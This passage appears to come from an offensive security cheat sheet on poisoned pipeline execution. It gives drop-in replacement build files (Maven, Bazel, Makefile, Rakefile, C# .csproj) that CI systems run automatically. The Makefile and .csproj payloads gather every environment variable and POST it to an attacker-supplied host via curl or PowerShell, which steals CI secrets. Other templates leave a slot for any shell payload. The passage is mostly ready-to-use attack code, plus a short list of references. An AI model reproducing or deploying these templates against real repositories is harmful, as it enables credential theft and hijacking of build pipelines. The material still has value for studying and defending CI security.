<a id="__codelineno-3-18" name="__codelineno-3-18" href="#__codelineno-3-18"></a><span class="w"> </span><span class="nt">&lt;arguments&gt;</span>
<a id="__codelineno-3-19" name="__codelineno-3-19" href="#__codelineno-3-19"></a><span class="w"> </span><span class="nt">&lt;argument&gt;</span>
<a id="__codelineno-3-20" name="__codelineno-3-20" href="#__codelineno-3-20"></a><span class="w"> </span>-c
<a id="__codelineno-3-21" name="__codelineno-3-21" href="#__codelineno-3-21"></a><span class="w"> </span><span class="nt">&lt;/argument&gt;</span>
<a id="__codelineno-3-22" name="__codelineno-3-22" href="#__codelineno-3-22"></a><span class="w"> </span><span class="nt">&lt;argument&gt;</span>{XML-Escaped-Payload}<span class="nt">&lt;/ argument&gt;</span>
<a id="__codelineno-3-23" name="__codelineno-3-23" href="#__codelineno-3-23"></a><span class="w"> </span><span class="nt">&lt;/arguments&gt;</span>
<a id="__codelineno-3-24" name="__codelineno-3-24" href="#__codelineno-3-24"></a><span class="w"> </span><span class="nt">&lt;/configuration&gt;</span>
<a id="__codelineno-3-25" name="__codelineno-3-25" href="#__codelineno-3-25"></a><span class="w"> </span><span class="nt">&lt;/plugin&gt;</span>
<a id="__codelineno-3-26" name="__codelineno-3-26" href="#__codelineno-3-26"></a><span class="w"> </span><span class="nt">&lt;/plugins&gt;</span>
<a id="__codelineno-3-27" name="__codelineno-3-27" href="#__codelineno-3-27"></a><span class="nt">&lt;/build&gt;</span>
</code></pre></div>
<h3 id="buildbazel">BUILD.bazel</h3>
<blockquote>
<p>Replace the content of <code>BUILD.bazel</code> with the following payload</p>
</blockquote>
<p>NOTE: <code>BUILD.bazel</code> requires escaping backslashes.\
Replace any <code>\</code> with <code>\\</code> inside your payload.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a>genrule<span class="o">(</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="w"> </span><span class="nv">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;build&quot;</span>,
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="w"> </span><span class="nv">outs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">[</span><span class="s2">&quot;foo&quot;</span><span class="o">]</span>,
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="w"> </span><span class="nv">cmd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;{Escaped-Shell-Payload}&quot;</span>,
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="w"> </span><span class="nv">visibility</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">[</span><span class="s2">&quot;//visibility:public&quot;</span><span class="o">]</span>,
<a id="__codelineno-4-6" name="__codelineno-4-6" href="#__codelineno-4-6"></a><span class="o">)</span>
</code></pre></div>
<h3 id="makefile">Makefile</h3>
<blockquote>
<p>Make files are often executed by build pipelines for projects written in <code>C</code>, <code>C++</code> or <code>Go</code> (but not exclusively).\
There are several utilities that execute <code>Makefile</code>, the most common are <code>GNU Make</code> &amp; <code>Make</code>.\
Replace your target <code>Makefile</code> with the following payload</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a>.MAIN:<span class="w"> </span>build
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a>.DEFAULT_GOAL<span class="w"> </span>:<span class="o">=</span><span class="w"> </span>build
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a>.PHONY:<span class="w"> </span>all
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a>all:<span class="w"> </span>
<a id="__codelineno-5-5" name="__codelineno-5-5" href="#__codelineno-5-5"></a><span class="w"> </span><span class="nb">set</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>curl<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span>--data-binary<span class="w"> </span>@-<span class="w"> </span><span class="o">{</span>YourHostName<span class="o">}</span>
<a id="__codelineno-5-6" name="__codelineno-5-6" href="#__codelineno-5-6"></a>build:<span class="w"> </span>
<a id="__codelineno-5-7" name="__codelineno-5-7" href="#__codelineno-5-7"></a><span class="w"> </span><span class="nb">set</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>curl<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span>--data-binary<span class="w"> </span>@-<span class="w"> </span><span class="o">{</span>YourHostName<span class="o">}</span>
<a id="__codelineno-5-8" name="__codelineno-5-8" href="#__codelineno-5-8"></a>compile:
<a id="__codelineno-5-9" name="__codelineno-5-9" href="#__codelineno-5-9"></a><span class="w"> </span><span class="nb">set</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>curl<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span>--data-binary<span class="w"> </span>@-<span class="w"> </span><span class="o">{</span>YourHostName<span class="o">}</span>
<a id="__codelineno-5-10" name="__codelineno-5-10" href="#__codelineno-5-10"></a>default:
<a id="__codelineno-5-11" name="__codelineno-5-11" href="#__codelineno-5-11"></a><span class="w"> </span><span class="nb">set</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>curl<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span>--data-binary<span class="w"> </span>@-<span class="w"> </span><span class="o">{</span>YourHostName<span class="o">}</span>
</code></pre></div>
<h3 id="rakefile">Rakefile</h3>
<blockquote>
<p>Rake files are similar to <code>Makefile</code> but for Ruby projects.\
Replace your target <code>Rakefile</code> with the following payload</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a>task<span class="w"> </span>:pre_task<span class="w"> </span><span class="k">do</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="w"> </span>sh<span class="w"> </span><span class="s2">&quot;{Payload}&quot;</span>
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a>end
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a>
<a id="__codelineno-6-5" name="__codelineno-6-5" href="#__codelineno-6-5"></a>task<span class="w"> </span>:build<span class="w"> </span><span class="k">do</span>
<a id="__codelineno-6-6" name="__codelineno-6-6" href="#__codelineno-6-6"></a><span class="w"> </span>sh<span class="w"> </span><span class="s2">&quot;{Payload}&quot;</span>
<a id="__codelineno-6-7" name="__codelineno-6-7" href="#__codelineno-6-7"></a>end
<a id="__codelineno-6-8" name="__codelineno-6-8" href="#__codelineno-6-8"></a>
<a id="__codelineno-6-9" name="__codelineno-6-9" href="#__codelineno-6-9"></a>task<span class="w"> </span>:test<span class="w"> </span><span class="k">do</span>
<a id="__codelineno-6-10" name="__codelineno-6-10" href="#__codelineno-6-10"></a><span class="w"> </span>sh<span class="w"> </span><span class="s2">&quot;{Payload}&quot;</span>
<a id="__codelineno-6-11" name="__codelineno-6-11" href="#__codelineno-6-11"></a>end
<a id="__codelineno-6-12" name="__codelineno-6-12" href="#__codelineno-6-12"></a>
<a id="__codelineno-6-13" name="__codelineno-6-13" href="#__codelineno-6-13"></a>task<span class="w"> </span>:install<span class="w"> </span><span class="k">do</span>
<a id="__codelineno-6-14" name="__codelineno-6-14" href="#__codelineno-6-14"></a><span class="w"> </span>sh<span class="w"> </span><span class="s2">&quot;{Payload}&quot;</span>
<a id="__codelineno-6-15" name="__codelineno-6-15" href="#__codelineno-6-15"></a>end
<a id="__codelineno-6-16" name="__codelineno-6-16" href="#__codelineno-6-16"></a>
<a id="__codelineno-6-17" name="__codelineno-6-17" href="#__codelineno-6-17"></a>task<span class="w"> </span>:default<span class="w"> </span><span class="o">=</span>&gt;<span class="w"> </span><span class="o">[</span>:build<span class="o">]</span>
</code></pre></div>
<h3 id="c-csproj">C# - *.csproj</h3>
<blockquote>
<p><code>.csproj</code> files are build file for the <code>C#</code> runtime.\
They are constructed as XML files that contain the different dependencies that are required to build the project.\
Replacing all the <code>.csproj</code> files in the repo with the following payload may trigger their execution by the CI.</p>
</blockquote>
<p>NOTE: Since this is an XML file - XML special characters must be escaped.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="p">&lt;</span><span class="n">Project</span><span class="p">&gt;</span>
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a> <span class="p">&lt;</span><span class="n">Target</span> <span class="n">Name</span><span class="p">=</span><span class="s2">&quot;SendEnvVariables&quot;</span> <span class="n">BeforeTargets</span><span class="p">=</span><span class="s2">&quot;Build;BeforeBuild;BeforeCompile&quot;</span><span class="p">&gt;</span>
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a> <span class="p">&lt;</span><span class="n">Exec</span> <span class="n">Command</span><span class="p">=</span><span class="s2">&quot;powershell -Command &amp;quot;$envBody = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-ChildItem env: | Format-List | Out-String))); Invoke-WebRequest -Uri {YourHostName} -Method POST -Body $envBody&amp;quot;&quot;</span> <span class="p">/&gt;</span>
<a id="__codelineno-7-4" name="__codelineno-7-4" href="#__codelineno-7-4"></a> <span class="p">&lt;/</span><span class="n">Target</span><span class="p">&gt;</span>
<a id="__codelineno-7-5" name="__codelineno-7-5" href="#__codelineno-7-5"></a><span class="p">&lt;/</span><span class="n">Project</span><span class="p">&gt;</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://web.archive.org/web/20240226215436/https://www.cidersecurity.io/top-10-cicd-security-risks/poisoned-pipeline-execution-ppe/">Poisoned Pipeline Execution</a></li>
<li><a href="https://youtu.be/mpUDqo7tIk8">DEF CON 25 - Exploiting Continuous Integration (CI) and Automated Build systems - spaceB0x - 2 nov. 2017</a></li>
<li><a href="https://pulsesecurity.co.nz/advisories/Azure-Devops-Command-Injection">Azure DevOps CICD Pipelines - Command Injection with Parameters, Variables and a discussion on Runner hijacking - Sana Oshika - May 1 2023</a></li>
<li><a href="https://youtu.be/14tNFwfety4">x33fcon lighting talk - Hacking Java serialization from python - Tomasz Bukowski - 16 july 2024</a></li>
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